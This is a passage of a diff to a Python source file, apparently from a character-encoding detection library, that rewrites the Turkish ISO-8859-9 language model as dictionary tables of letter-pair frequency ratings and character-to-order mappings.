28: 1, # 'c' + 12: 2, # 'd' + 2: 1, # 'e' + 18: 0, # 'f' + 27: 3, # 'g' + 25: 2, # 'h' + 3: 2, # 'i' + 24: 2, # 'j' + 10: 2, # 'k' + 5: 0, # 'l' + 13: 1, # 'm' + 4: 3, # 'n' + 15: 1, # 'o' + 26: 1, # 'p' + 7: 3, # 'r' + 8: 3, # 's' + 9: 2, # 't' + 14: 0, # 'u' + 32: 0, # 'v' + 57: 1, # 'w' + 58: 0, # 'x' + 11: 2, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 1, # 'Ü' + 59: 1, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 1, # 'ö' + 17: 1, # 'ü' + 30: 2, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 1, # 'ş' + }, + 6: { # 'ı' + 23: 2, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 1, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 2, # 'J' + 16: 3, # 'K' + 49: 0, # 'L' + 20: 3, # 'M' + 46: 1, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 2, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 2, # 'Y' + 56: 1, # 'Z' + 1: 3, # 'a' + 21: 2, # 'b' + 28: 1, # 'c' + 12: 3, # 'd' + 2: 3, # 'e' + 18: 3, # 'f' + 27: 3, # 'g' + 25: 2, # 'h' + 3: 3, # 'i' + 24: 3, # 'j' + 10: 3, # 'k' + 5: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 15: 0, # 'o' + 26: 3, # 'p' + 7: 3, # 'r' + 8: 3, # 's' + 9: 3, # 't' + 14: 3, # 'u' + 32: 3, # 'v' + 57: 1, # 'w' + 58: 1, # 'x' + 11: 3, # 'y' + 22: 0, # 'z' + 63: 1, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 2, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 3, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 40: { # 'Ş' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 1, # 'C' + 39: 1, # 'D' + 29: 1, # 'E' + 52: 0, # 'F' + 36: 1, # 'G' + 45: 2, # 'H' + 53: 1, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 2, # 'M' + 46: 1, # 'N' + 42: 1, # 'O' + 48: 2, # 'P' + 44: 2, # 'R' + 35: 1, # 'S' + 31: 1, # 'T' + 51: 0, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 2, # 'Y' + 56: 1, # 'Z' + 1: 0, # 'a' + 21: 2, # 'b' + 28: 0, # 'c' + 12: 2, # 'd' + 2: 0, # 'e' + 18: 3, # 'f' + 27: 0, # 'g' + 25: 2, # 'h' + 3: 3, # 'i' + 24: 2, # 'j' + 10: 1, # 'k' + 5: 0, # 'l' + 13: 1, # 'm' + 4: 3, # 'n' + 15: 2, # 'o' + 26: 0, # 'p' + 7: 3, # 'r' + 8: 2, # 's' + 9: 2, # 't' + 14: 1, # 'u' + 32: 3, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 2, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 1, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 2, # 'ö' + 17: 1, # 'ü' + 30: 2, # 'ğ' + 41: 0, # 'İ' + 6: 2, # 'ı' + 40: 1, # 'Ş' + 19: 2, # 'ş' + }, + 19: { # 'ş' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 1, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 2, # 'F' + 36: 1, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 3, # 'K' + 49: 2, # 'L' + 20: 0, # 'M' + 46: 1, # 'N' + 42: 1, # 'O' + 48: 1, # 'P' + 44: 1, # 'R' + 35: 1, # 'S' + 31: 0, # 'T' + 51: 1, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 1, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 1, # 'b' + 28: 2, # 'c' + 12: 0, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 2, # 'g' + 25: 1, # 'h' + 3: 1, # 'i' + 24: 0, # 'j' + 10: 2, # 'k' + 5: 2, # 'l' + 13: 3, # 'm' + 4: 0, # 'n' + 15: 0, # 'o' + 26: 1, # 'p' + 7: 3, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 3, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 2, # 'z' + 63: 0, # '·' + 54: 1, # 'Ç' + 50: 2, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 1, # 'ç' + 61: 1, # 'î' + 34: 2, # 'ö' + 17: 0, # 'ü' + 30: 1, # 'ğ' + 41: 1, # 'İ' + 6: 1, # 'ı' + 40: 1, # 'Ş' + 19: 1, # 'ş' + }, +} + +# 255: Undefined characters that did not exist in training text # 254: Carriage/Return # 253: symbol (punctuation) that does not belong to word # 252: 0 - 9 +# 251: Control characters -# Character Mapping Table: -Latin5_TurkishCharToOrderMap = ( -255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, -255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, -255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, -255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, -255, 23, 37, 47, 39, 29, 52, 36, 45, 53, 60, 16, 49, 20, 46, 42, - 48, 69, 44, 35, 31, 51, 38, 62, 65, 43, 56,255,255,255,255,255, -255, 1, 21, 28, 12, 2, 18, 27, 25, 3, 24, 10, 5, 13, 4, 15, - 26, 64, 7, 8, 9, 14, 32, 57, 58, 11, 22,255,255,255,255,255, -180,179,178,177,176,175,174,173,172,171,170,169,168,167,166,165, -164,163,162,161,160,159,101,158,157,156,155,154,153,152,151,106, -150,149,148,147,146,145,144,100,143,142,141,140,139,138,137,136, - 94, 80, 93,135,105,134,133, 63,132,131,130,129,128,127,126,125, -124,104, 73, 99, 79, 85,123, 54,122, 98, 92,121,120, 91,103,119, - 68,118,117, 97,116,115, 50, 90,114,113,112,111, 55, 41, 40, 86, - 89, 70, 59, 78, 71, 82, 88, 33, 77, 66, 84, 83,110, 75, 61, 96, - 30, 67,109, 74, 87,102, 34, 95, 81,108, 76, 72, 17, 6, 19,107, -) +# Character Mapping Table(s): +ISO_8859_9_TURKISH_CHAR_TO_ORDER = { + 0: 255, # '\x00' + 1: 255, # '\x01' + 2: 255, # '\x02' + 3: 255, # '\x03' + 4: 255, # '\x04' + 5: 255, # '\x05' + 6: 255, # '\x06' + 7: 255, # '\x07' + 8: 255, # '\x08' + 9: 255, # '\t' + 10: 255, # '\n' + 11: 255, # '\x0b' + 12: 255, # '\x0c' + 13: 255, # '\r' + 14: 255, # '\x0e' + 15: 255, # '\x0f' + 16: 255, # '\x10' + 17: 255, # '\x11' + 18: 255, # '\x12' + 19: 255, # '\x13' + 20: 255, # '\x14' + 21: 255, # '\x15' + 22: 255, # '\x16' + 23: 255, # '\x17' + 24: 255, # '\x18' + 25: 255, # '\x19' + 26: 255, # '\x1a' + 27: 255, # '\x1b' + 28: 255, # '\x1c' + 29: 255, # '\x1d' + 30: 255, # '\x1e' + 31: 255, # '\x1f' + 32: 255, # ' ' + 33: 255, # '!' + 34: 255, # '"' + 35: 255, # '#' + 36: 255, # '$' + 37: 255, # '%' + 38: 255, # '&' + 39: 255, # "'" + 40: 255, # '(' + 41: 255, # ')' + 42: 255, # '*' + 43: 255, # '+' + 44: 255, # ',' + 45: 255, # '-' + 46: 255, # '.' + 47: 255, # '/' + 48: 255, # '0' + 49: 255, # '1' + 50: 255, # '2' + 51: 255, # '3' + 52: 255, # '4' + 53: 255, # '5' + 54: 255, # '6' + 55: 255, # '7' + 56: 255, # '8' + 57: 255, # '9' + 58: 255, # ':' + 59: 255, # ';' + 60: 255, # '<' + 61: 255, # '=' + 62: 255, # '>' + 63: 255, # '?' + 64: 255, # '@' + 65: 23, # 'A' + 66: 37, # 'B' + 67: 47, # 'C' + 68: 39, # 'D' + 69: 29, # 'E' + 70: 52, # 'F' + 71: 36, # 'G' + 72: 45, # 'H' + 73: 53, # 'I' + 74: 60, # 'J' + 75: 16, # 'K' + 76: 49, # 'L' + 77: 20, # 'M' + 78: 46, # 'N' + 79: 42, # 'O' + 80: 48, # 'P' + 81: 69, # 'Q' + 82: 44, # 'R' + 83: 35, # 'S' + 84: 31, # 'T' + 85: 51, # 'U' + 86: 38, # 'V' + 87: 62, # 'W' + 88: 65, # 'X' + 89: 43, # 'Y' + 90: 56, # 'Z' + 91: 255, # '[' + 92: 255, # '\\' + 93: 255, # ']' + 94: 255, # '^' + 95: 255, # '_' + 96: 255, # '`' + 97: 1, # 'a' + 98: 21, # 'b' + 99: 28, # 'c' + 100: 12, # 'd' + 101: 2, # 'e' + 102: 18, # 'f' + 103: 27, # 'g' + 104: 25, # 'h' + 105: 3, # 'i' + 106: 24, # 'j' + 107: 10, # 'k' + 108: 5, # 'l' + 109: 13, # 'm' + 110: 4, # 'n' + 111: 15, # 'o' + 112: 26, # 'p' + 113: 64, # 'q' + 114: 7, # 'r' + 115: 8, # 's' + 116: 9, # 't' + 117: 14, # 'u' + 118: 32, # 'v' + 119: 57, # 'w' + 120: 58, # 'x' + 121: 11, # 'y' + 122: 22, # 'z' + 123: 255, # '{' + 124: 255, # '|' + 125: 255, # '}' + 126: 255, # '~' + 127: 255, # '\x7f' + 128: 180, # '\x80' + 129: 179, # '\x81' + 130: 178, # '\x82' + 131: 177, # '\x83' + 132: 176, # '\x84' + 133: 175, # '\x85' + 134: 174, # '\x86' + 135: 173, # '\x87' + 136: 172, # '\x88' + 137: 171, # '\x89' + 138: 170, # '\x8a' + 139: 169, # '\x8b' + 140: 168, # '\x8c' + 141: 167, # '\x8d' + 142: 166, # '\x8e' + 143: 165, # '\x8f' + 144: 164, # '\x90' + 145: 163, # '\x91' + 146: 162, # '\x92' + 147: 161, # '\x93' + 148: 160, # '\x94' + 149: 159, # '\x95' + 150: 101, # '\x96' + 151: 158, # '\x97' + 152: 157, # '\x98' + 153: 156, # '\x99' + 154: 155, # '\x9a' + 155: 154, # '\x9b' + 156: 153, # '\x9c' + 157: 152, # '\x9d' + 158: 151, # '\x9e' + 159: 106, # '\x9f' + 160: 150, # '\xa0' + 161: 149, # '¡' + 162: 148, # '¢' + 163: 147, # '£' + 164: 146, # '¤' + 165: 145, # '¥' + 166: 144, # '¦' + 167: 100, # '§' + 168: 143, # '¨' + 169: 142, # '©' + 170: 141, # 'ª' + 171: 140, # '«' + 172: 139, # '¬' + 173: 138, # '\xad' + 174: 137, # '®' + 175: 136, # '¯' + 176: 94, # '°' + 177: 80, # '±' + 178: 93, # '²' + 179: 135, # '³' + 180: 105, # '´' + 181: 134, # 'µ' + 182: 133, # '¶' + 183: 63, # '·' + 184: 132, # '¸' + 185: 131, # '¹' + 186: 130, # 'º' + 187: 129, # '»' + 188: 128, # '¼' + 189: 127, # '½' + 190: 126, # '¾' + 191: 125, # '¿' + 192: 124, # 'À' + 193: 104, # 'Á' + 194: 73, # 'Â' + 195: 99, # 'Ã' + 196: 79, # 'Ä' + 197: 85, # 'Å' + 198: 123, # 'Æ' + 199: 54, # 'Ç' + 200: 122, # 'È' + 201: 98, # 'É' + 202: 92, # 'Ê' + 203: 121, # 'Ë' + 204: 120, # 'Ì' + 205: 91, # 'Í' + 206: 103, # 'Î' + 207: 119, # 'Ï' + 208: 68, # 'Ğ' + 209: 118, # 'Ñ' + 210: 117, # 'Ò' + 211: 97, # 'Ó' + 212: 116, # 'Ô' + 213: 115, # 'Õ' + 214: 50, # 'Ö' + 215: 90, # '×' + 216: 114, # 'Ø' + 217: 113, # 'Ù' + 218: 112, # 'Ú' + 219: 111, # 'Û' + 220: 55, # 'Ü' + 221: 41, # 'İ' + 222: 40, # 'Ş' + 223: 86, # 'ß' + 224: 89, # 'à' + 225: 70, # 'á' + 226: 59, # 'â' + 227: 78, # 'ã' + 228: 71, # 'ä' + 229: 82, # 'å' + 230: 88, # 'æ' + 231: 33, # 'ç' + 232: 77, # 'è' + 233: 66, # 'é' + 234: 84, # 'ê' + 235: 83, # 'ë' + 236: 110, # 'ì' + 237: 75, # 'í' + 238: 61, # 'î' + 239: 96, # 'ï' + 240: 30, # 'ğ' + 241: 67, # 'ñ' + 242: 109, # 'ò' + 243: 74, # 'ó' + 244: 87, # 'ô' + 245: 102, # 'õ' + 246: 34, # 'ö' + 247: 95, # '÷' + 248: 81, # 'ø' + 249: 108, # 'ù' + 250: 76, # 'ú' + 251: 72, # 'û' + 252: 17, # 'ü' + 253: 6, # 'ı' + 254: 19, # 'ş' + 255: 107, # 'ÿ' +} -TurkishLangModel = ( -3,2,3,3,3,1,3,3,3,3,3,3,3,3,2,1,1,3,3,1,3,3,0,3,3,3,3,3,0,3,1,3, -3,2,1,0,0,1,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,2,2,0,0,1,0,0,1, -3,2,2,3,3,0,3,3,3,3,3,3,3,2,3,1,0,3,3,1,3,3,0,3,3,3,3,3,0,3,0,3, -3,1,1,0,1,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,2,2,0,0,0,1,0,1, -3,3,2,3,3,0,3,3,3,3,3,3,3,2,3,1,1,3,3,0,3,3,1,2,3,3,3,3,0,3,0,3, -3,1,1,0,0,0,1,0,0,0,0,1,1,0,1,2,1,0,0,0,1,0,0,0,0,2,0,0,0,0,0,1, -3,3,3,3,3,3,2,3,3,3,3,3,3,3,3,1,3,3,2,0,3,2,1,2,2,1,3,3,0,0,0,2, -2,2,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1, -3,3,3,2,3,3,1,2,3,3,3,3,3,3,3,1,3,2,1,0,3,2,0,1,2,3,3,2,1,0,0,2, -2,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,2,0,2,0,0,0, -1,0,1,3,3,1,3,3,3,3,3,3,3,1,2,0,0,2,3,0,2,3,0,0,2,2,2,3,0,3,0,1, -2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,0,3,3,3,0,3,2,0,2,3,2,3,3,1,0,0,2, -3,2,0,0,1,0,0,0,0,0,0,2,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,2,0,0,1, -3,3,3,2,3,3,2,3,3,3,3,2,3,3,3,0,3,3,0,0,2,1,0,0,2,3,2,2,0,0,0,2, -2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,2,0,0,1, -3,3,3,2,3,3,3,3,3,3,3,2,3,3,3,0,3,2,0,1,3,2,1,1,3,2,3,2,1,0,0,2, -2,2,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0, -3,3,3,2,3,3,3,3,3,3,3,2,3,3,3,0,3,2,2,0,2,3,0,0,2,2,2,2,0,0,0,2, -3,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,2,0,1,0,0,0, -3,3,3,3,3,3,3,2,2,2,2,3,2,3,3,0,3,3,1,1,2,2,0,0,2,2,3,2,0,0,1,3, -0,3,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1, -3,3,3,2,3,3,3,2,1,2,2,3,2,3,3,0,3,2,0,0,1,1,0,1,1,2,1,2,0,0,0,1, -0,3,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0, -3,3,3,2,3,3,2,3,2,2,2,3,3,3,3,1,3,1,1,0,3,2,1,1,3,3,2,3,1,0,0,1, -1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,2,0,0,1, -3,2,2,3,3,0,3,3,3,3,3,3,3,2,2,1,0,3,3,1,3,3,0,1,3,3,2,3,0,3,0,3, -2,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0, -2,2,2,3,3,0,3,3,3,3,3,3,3,3,3,0,0,3,2,0,3,3,0,3,2,3,3,3,0,3,1,3, -2,0,0,0,0,0,0,0,0,0,0,1,0,1,2,0,1,0,0,0,0,0,0,0,2,2,0,0,1,0,0,1, -3,3,3,1,2,3,3,1,0,0,1,0,0,3,3,2,3,0,0,2,0,0,2,0,2,0,0,0,2,0,2,0, -0,3,1,0,1,0,0,0,2,2,1,0,1,1,2,1,2,2,2,0,2,1,1,0,0,0,2,0,0,0,0,0, -1,2,1,3,3,0,3,3,3,3,3,2,3,0,0,0,0,2,3,0,2,3,1,0,2,3,1,3,0,3,0,2, -3,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,3,3,1,3,3,2,2,3,2,2,0,1,2,3,0,1,2,1,0,1,0,0,0,1,0,2,2,0,0,0,1, -1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0, -3,3,3,1,3,3,1,1,3,3,1,1,3,3,1,0,2,1,2,0,2,1,0,0,1,1,2,1,0,0,0,2, -2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,3,3,1,0,2,1,3,0,0,2,0,0,3,3,0,3,0,0,1,0,1,2,0,0,1,1,2,2,0,1,0, -0,1,2,1,1,0,1,0,1,1,1,1,1,0,1,1,1,2,2,1,2,0,1,0,0,0,0,0,0,1,0,0, -3,3,3,2,3,2,3,3,0,2,2,2,3,3,3,0,3,0,0,0,2,2,0,1,2,1,1,1,0,0,0,1, -0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0, -3,3,3,3,3,3,2,1,2,2,3,3,3,3,2,0,2,0,0,0,2,2,0,0,2,1,3,3,0,0,1,1, -1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0, -1,1,2,3,3,0,3,3,3,3,3,3,2,2,0,2,0,2,3,2,3,2,2,2,2,2,2,2,1,3,2,3, -2,0,2,1,2,2,2,2,1,1,2,2,1,2,2,1,2,0,0,2,1,1,0,2,1,0,0,1,0,0,0,1, -2,3,3,1,1,1,0,1,1,1,2,3,2,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0, -0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,3,3,2,2,2,3,2,3,2,2,1,3,3,3,0,2,1,2,0,2,1,0,0,1,1,1,1,1,0,0,1, -2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,2,0,1,0,0,0, -3,3,3,2,3,3,3,3,3,2,3,1,2,3,3,1,2,0,0,0,0,0,0,0,3,2,1,1,0,0,0,0, -2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0, -3,3,3,2,2,3,3,2,1,1,1,1,1,3,3,0,3,1,0,0,1,1,0,0,3,1,2,1,0,0,0,0, -0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0, -3,3,3,2,2,3,2,2,2,3,2,1,1,3,3,0,3,0,0,0,0,1,0,0,3,1,1,2,0,0,0,1, -1,0,0,1,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, -1,1,1,3,3,0,3,3,3,3,3,2,2,2,1,2,0,2,1,2,2,1,1,0,1,2,2,2,2,2,2,2, -0,0,2,1,2,1,2,1,0,1,1,3,1,2,1,1,2,0,0,2,0,1,0,1,0,1,0,0,0,1,0,1, -3,3,3,1,3,3,3,0,1,1,0,2,2,3,1,0,3,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0, -1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,3,2,0,0,2,2,1,0,0,1,0,0,3,3,1,3,0,0,1,1,0,2,0,3,0,0,0,2,0,1,1, -0,1,2,0,1,2,2,0,2,2,2,2,1,0,2,1,1,0,2,0,2,1,2,0,0,0,0,0,0,0,0,0, -3,3,3,1,3,2,3,2,0,2,2,2,1,3,2,0,2,1,2,0,1,2,0,0,1,0,2,2,0,0,0,2, -1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0, -3,3,3,0,3,3,1,1,2,3,1,0,3,2,3,0,3,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0, -1,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,0,3,3,0,3,3,2,3,3,2,2,0,0,0,0,1,2,0,1,3,0,0,0,3,1,1,0,3,0,2, -2,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,3,3,1,2,2,1,0,3,1,1,1,1,3,3,2,3,0,0,1,0,1,2,0,2,2,0,2,2,0,2,1, -0,2,2,1,1,1,1,0,2,1,1,0,1,1,1,1,2,1,2,1,2,0,1,0,1,0,0,0,0,0,0,0, -3,3,3,0,1,1,3,0,0,1,1,0,0,2,2,0,3,0,0,1,1,0,1,0,0,0,0,0,2,0,0,0, -0,3,1,0,1,0,1,0,2,0,0,1,0,1,0,1,1,1,2,1,1,0,2,0,0,0,0,0,0,0,0,0, -3,3,3,0,2,0,2,0,1,1,1,0,0,3,3,0,2,0,0,1,0,0,2,1,1,0,1,0,1,0,1,0, -0,2,0,1,2,0,2,0,2,1,1,0,1,0,2,1,1,0,2,1,1,0,1,0,0,0,1,1,0,0,0,0, -3,2,3,0,1,0,0,0,0,0,0,0,0,1,2,0,1,0,0,1,0,0,1,0,0,0,0,0,2,0,0,0, -0,0,1,1,0,0,1,0,1,0,0,1,0,0,0,2,1,0,1,0,2,0,0,0,0,0,0,0,0,0,0,0, -3,3,3,0,0,2,3,0,0,1,0,1,0,2,3,2,3,0,0,1,3,0,2,1,0,0,0,0,2,0,1,0, -0,2,1,0,0,1,1,0,2,1,0,0,1,0,0,1,1,0,1,1,2,0,1,0,0,0,0,1,0,0,0,0, -3,2,2,0,0,1,1,0,0,0,0,0,0,3,1,1,1,0,0,0,0,0,1,0,0,0,0,0,2,0,1,0, -0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0, -0,0,0,3,3,0,2,3,2,2,1,2,2,1,1,2,0,1,3,2,2,2,0,0,2,2,0,0,0,1,2,1, -3,0,2,1,1,0,1,1,1,0,1,2,2,2,1,1,2,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0, -0,1,1,2,3,0,3,3,3,2,2,2,2,1,0,1,0,1,0,1,2,2,0,0,2,2,1,3,1,1,2,1, -0,0,1,1,2,0,1,1,0,0,1,2,0,2,1,1,2,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0, -3,3,2,0,0,3,1,0,0,0,0,0,0,3,2,1,2,0,0,1,0,0,2,0,0,0,0,0,2,0,1,0, -0,2,1,1,0,0,1,0,1,2,0,0,1,1,0,0,2,1,1,1,1,0,2,0,0,0,0,0,0,0,0,0, -3,3,2,0,0,1,0,0,0,0,1,0,0,3,3,2,2,0,0,1,0,0,2,0,1,0,0,0,2,0,1,0, -0,0,1,1,0,0,2,0,2,1,0,0,1,1,2,1,2,0,2,1,2,1,1,1,0,0,1,1,0,0,0,0, -3,3,2,0,0,2,2,0,0,0,1,1,0,2,2,1,3,1,0,1,0,1,2,0,0,0,0,0,1,0,1,0, -0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0, -3,3,3,2,0,0,0,1,0,0,1,0,0,2,3,1,2,0,0,1,0,0,2,0,0,0,1,0,2,0,2,0, -0,1,1,2,2,1,2,0,2,1,1,0,0,1,1,0,1,1,1,1,2,1,1,0,0,0,0,0,0,0,0,0, -3,3,3,0,2,1,2,1,0,0,1,1,0,3,3,1,2,0,0,1,0,0,2,0,2,0,1,1,2,0,0,0, -0,0,1,1,1,1,2,0,1,1,0,1,1,1,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0, -3,3,3,0,2,2,3,2,0,0,1,0,0,2,3,1,0,0,0,0,0,0,2,0,2,0,0,0,2,0,0,0, -0,1,1,0,0,0,1,0,0,1,0,1,1,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0, -3,2,3,0,0,0,0,0,0,0,1,0,0,2,2,2,2,0,0,1,0,0,2,0,0,0,0,0,2,0,1,0, -0,0,2,1,1,0,1,0,2,1,1,0,0,1,1,2,1,0,2,0,2,0,1,0,0,0,2,0,0,0,0,0, -0,0,0,2,2,0,2,1,1,1,1,2,2,0,0,1,0,1,0,0,1,3,0,0,0,0,1,0,0,2,1,0, -0,0,1,0,1,0,0,0,0,0,2,1,0,1,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0, -2,0,0,2,3,0,2,3,1,2,2,0,2,0,0,2,0,2,1,1,1,2,1,0,0,1,2,1,1,2,1,0, -1,0,2,0,1,0,1,1,0,0,2,2,1,2,1,1,2,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0, -3,3,3,0,2,1,2,0,0,0,1,0,0,3,2,0,1,0,0,1,0,0,2,0,0,0,1,2,1,0,1,0, -0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0, -0,0,0,2,2,0,2,2,1,1,0,1,1,1,1,1,0,0,1,2,1,1,1,0,1,0,0,0,1,1,1,1, -0,0,2,1,0,1,1,1,0,1,1,2,1,2,1,1,2,0,1,1,2,1,0,2,0,0,0,0,0,0,0,0, -3,2,2,0,0,2,0,0,0,0,0,0,0,2,2,0,2,0,0,1,0,0,2,0,0,0,0,0,2,0,0,0, -0,2,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0, -0,0,0,3,2,0,2,2,0,1,1,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0, -2,0,1,0,1,0,1,1,0,0,1,2,0,1,0,1,1,0,0,1,0,1,0,2,0,0,0,0,0,0,0,0, -2,2,2,0,1,1,0,0,0,1,0,0,0,1,2,0,1,0,0,1,0,0,1,0,0,0,0,1,2,0,1,0, -0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,2,0,0,0,0,0,0,0,0,0,0,0, -2,2,2,2,1,0,1,1,1,0,0,0,0,1,2,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0, -1,1,2,0,1,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,2,0,0,0,0,0,1, -0,0,1,2,2,0,2,1,2,1,1,2,2,0,0,0,0,1,0,0,1,1,0,0,2,0,0,0,0,1,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0, -2,2,2,0,0,0,1,0,0,0,0,0,0,2,2,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0, -0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -2,2,2,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 